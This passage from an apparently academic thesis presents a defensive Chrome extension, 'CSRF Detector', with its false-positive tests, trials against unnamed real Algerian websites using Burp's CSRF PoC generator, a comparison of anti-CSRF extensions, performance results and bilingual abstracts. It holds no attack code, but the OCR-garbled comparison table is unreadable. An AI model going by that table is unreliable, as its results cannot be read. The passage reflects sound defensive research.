generate any warning on possible CSRF attack and identify its false positive rate. The
experimental considering 300 websites belonging to different rank ranges (computer,
science, News... etc) of the Alexa global top 1500.

The results of this experimental shown that we got no false alert which means no false
positive over 300 websites visited.

The table below shows the characteristics of some websites we visited from white list;

Websites Number of Cross-domain Numberof Number of
request Request/ alerts | images/ alerts | iframes/ alerts
Facebook.com 475 82/0 167/0 6/0
Twitter.com 142 24/0 83/0 0/0
Amazon.com 300 33/0 222/0 5/0
Yahoo.com 149 101/0 24/0 5/0
Microsoft.com 47 20/0 19/0 4/0
paypal.com 50 49/0 18/0 0/0
Imdb.com 90 45/0 62/0 4/0
Cnn.com 150 63/0 47/0 8/0
Sciencedirect.com 34 17/0 7/0 2/0
Researchgate.net 57 12/0 17/0 1/0

Table 4.1: Alexa top websites in different rank ranges.

4.4. Testing with real-life vulnerable websites

To test our solution with real-life websites, we used at first our tool CSRF detector to
discover unprotected forms on random 100 Algerian websites from Alexa top websites in
order to find vulnerable websites. We found some famous Algerian websites are vulnerable
to CSRF attacks, including a serious vulnerability that can change credentials information
such as email. But we can’t give their URL’s in this report for security reason. Then, we
used Burp ‘CSRF PoC generator’ [46] which is tool used to generate a proof-of-concept
(PoC) cross-site request forgery (CSRF) attack for a given request. The result of this
experiment shows that CSRF Detector is successfully detects and prevents every
attack generated by Burp CSRF PoC.
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5. Chrome extensions for combating CSRF

According to various statistics shown previously, Google Chrome is the most popular Web
browser in the world, being used by well more than 50% of Internet users. For that reason, our
comparison study has focused on identifying and analyzing anti-CSRF extensions for this
particular browser. Out of thousands of currently available Chrome extensions, we were able
to identify (only) five that were claiming and/or appeared to provide protection against CSRF
attacks, their names are enlisted in the left-most column in Table 4.2. All five extensions
were tested against several different variants of basic and advanced CSRF attacks and the first
variant of the CSRF attack included obfuscated/malicious requests that were hidden using the

standard <iframe> and <img> approach.

CSRF | CSRF | Reflected | Stored | Reflected |  Check | NoFake | 909

<ifiame> | <img> | XSS | CSRF | CSRF | vulnerability | positive | 4C
disc%\sltaRr|:[47] X X X X X \/ X X
ey | X | X x| x| A | x| A ] X
Scriptsafe [49] \/ X \/ X \/ X
sarplock | X | X v X X X | X
wmmen | V| VY x| Y] ox ] x )X

owwo | V| V| N A A A A

Table 4.2:comparison summary of Google Chrome extensions for combating CSRF.

Key:
V : plug-in successfully blocked the attack &/or “affirmative”.

X: plug-in did not successfully block the attack &/or “negative”.

6. Performance

We visited several websites from white list sites with and without using CSRF Detector
extension, and then we have used Google chrome Analyzing Performance to measure
webpage loading time. Figure 4.13 shows line chart of the average delay time of loading

webpage (in seconds) measured by webpage size (bytes).
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Performance
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Figure 4.13: Performance line chart.

The line chart shown in the figure 4.15 represents the performance of our tool. The blue
line shows loading delay time when CSRF Detector is disabled and the red one when CSRF
detector is enabled. We can say that the rise of the average loading time is simultaneously,
and the highest difference time between them is 0.21 seconds. We have also notice that in
some cases when Webpage triggered a big number of cross-domains requests, the
performance will be higher than normal cases, because of our tool will strip the no importance
of additional information send with those requests in form of cookies.

Finally, the result of our performance testing shows that CSRF Detector effect on browser

performance is negligible.

7. Conclusion
In this chapter, we presented the implementation and experimentation of our CSRF
Detector extension. The extension was tested by simulating the CSRF attacks. The testing

shows the efficiency of our extension and proves the high detection of advanced and basic
CSRF attack.
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GENERAL CONCLUSION

Cross-site request forgery is a widely exploited vulnerability in web sites. CSRF attacks
occurs when the attacker takes the advantages of implicit authentication mechanisms of HTTP
protocol and cached credentials in the browser to execute a sensitive action on a target
website behalf of an authenticated victim user without his knowledge. We have shown in this
project the need for an autonomous client-side CSRF protection mechanism, especially since
the already existing server-side protection mechanisms fail to get adopted against advanced
CSRF attacks and the available client-side solutions do not suffice. We have provided a
solution to this requirement with our client-side browser extension. We developed a Google
Chrome extension “CSRF Detector” to defeat the attacker attempt to perform CSRF attacks
by analyzing web requests and web pages content to detect all the basic and advanced
CSREF attacks.

Our work makes the following contributions:

» Our proposed tool ‘CSRF Detector’ detect CSRF attacks with a hybrid mechanism
based on the notion of content checking and request analysis.

» CSRF detector can detect reflected XSS attack in web site for the purpose of
preventing attackers from using such vulnerability to carried out the CSRF attacks.

» CSRF Detector also has the ability to detect cross and sub-domain CSRF attacks.

» CSRF Detector adopts Google Safe Browsing service to identify unsafe websites and
notify users to protect themselves from harm websites (malware, phishing ...).

» CSRF Detector also serves as a tool for web developers to detect CSRF vulnerability.
It allows developers to quickly discover forms that are likely unprotected against
CSREF attacks.

We completed this project by conducting some tests to evaluate the efficiency and the
capability of the CSRF Detector against CSRF attacks. To make sure that its results match
with what is predetermined, we developed a small web application and some malicious web
pages in order to simulate the basic and advanced CSRF attacks. We also tested our solution
in Real-life with vulnerable and white list websites. The obtained experimental results
demonstrate that our CSRF detector extension successfully detects all the generated attacks
with no false positive, this proves the effectiveness of our extension to detect all basic and

advanced CSRF attacks and protect users from harm without effect on browser performance.
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Perspectives:

The proposed approach in this project introduces a novel client-side protection mechanism
for CSRF attacks but it still not yet perfect, and our discussed techniques need more
improvement so that can provide full and complete protection against CSRF attacks. Other
authentication mechanisms such as SSL authentication needs to be further investigated to
prevent CSRF attack abusing such credentials. Besides to this limits, CSRF Detector
extension is designed only to work with Google Chrome browser; we will take this in
consideration and adopt it in other browsers for future work. Finally, as more capabilities are
added to browser clients, and as more sites involve sophisticated programming and client-
server interactive services, CSRF attack will become more prevalent, and because of the
complexity of Web technologies continue to increase, we can expect further new categories of
CSRF attacks to emerge. Before the server-side defenses are updated to prevent such attacks,
CSRF Detector can be a transitional solution defense with the advantage of a fast adoption to
protect users and web applications from these attacks.
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Abstract

CSREF is one of the most serious cyber-attacks and has been recognized among the major
threats and among the top ten worst vulnerabilities to web applications. CSRF attack occurs
when the attacker takes the advantages of implicit authentication mechanisms of HTTP
protocol and cached credentials in the browser to execute a sensitive action on a target
website behalf of an authenticated victim user without his knowledge. In this project, we
present a lightweight protection mechanism that can be added to Google Chrome browser as
an extension. Our tool “CSRF Detector” is purely implemented on the client-side to defeat the
attacker attempt to perform CSRF attacks by analyzing web requests and web pages content
to detect all the basic and advanced CSRF attacks. Our evaluation result shows that CSRF
Detector extension successfully detects all the generated attacks and it has the ability to
protect users and web applications against CSRF attacks with no false positive.
Key words: iframe, XSS, CSRF Detector, CSRF attacks.

Résumé

CSREF est I'une des cyber-attaques les plus sérieuses, elle est reconnue parmi les principales
menaces et parmi les dix principales vulnérabilités des applications Web. Une attaque CSRF
se produit lorsque I'attaquant prend les avantages des mécanismes d'authentification implicites
du protocole HTTP et des informations d'identification mises en cache dans le navigateur
pour exécuter une action sensible sur le site Web cible avec le compte d'un utilisateur victime
authentifié a son insu. Dans ce projet, nous présentons un mecanisme de protection léger qui
peut étre ajouté au navigateur Google Chrome en tant qu'extension. Notre outil "CSRF
Detector™ est implémenté c6té client pour empécher l'attaquant d'effectuer des attaques CSRF
en analysant les requétes web et le contenu des pages web recues pour détecter toutes les
attaques CSRF basiques et avancées. Notre résultat d'évaluation montre que I'extension CSRF
Detector détecte avec succes toutes les attaques générees et montre sa capacité a protéger les
utilisateurs et les applications Web contre les attaques CSRF sans faux positif.
Mots clés : iframe, XSS, CSRF détecteur, CSRF attaques.
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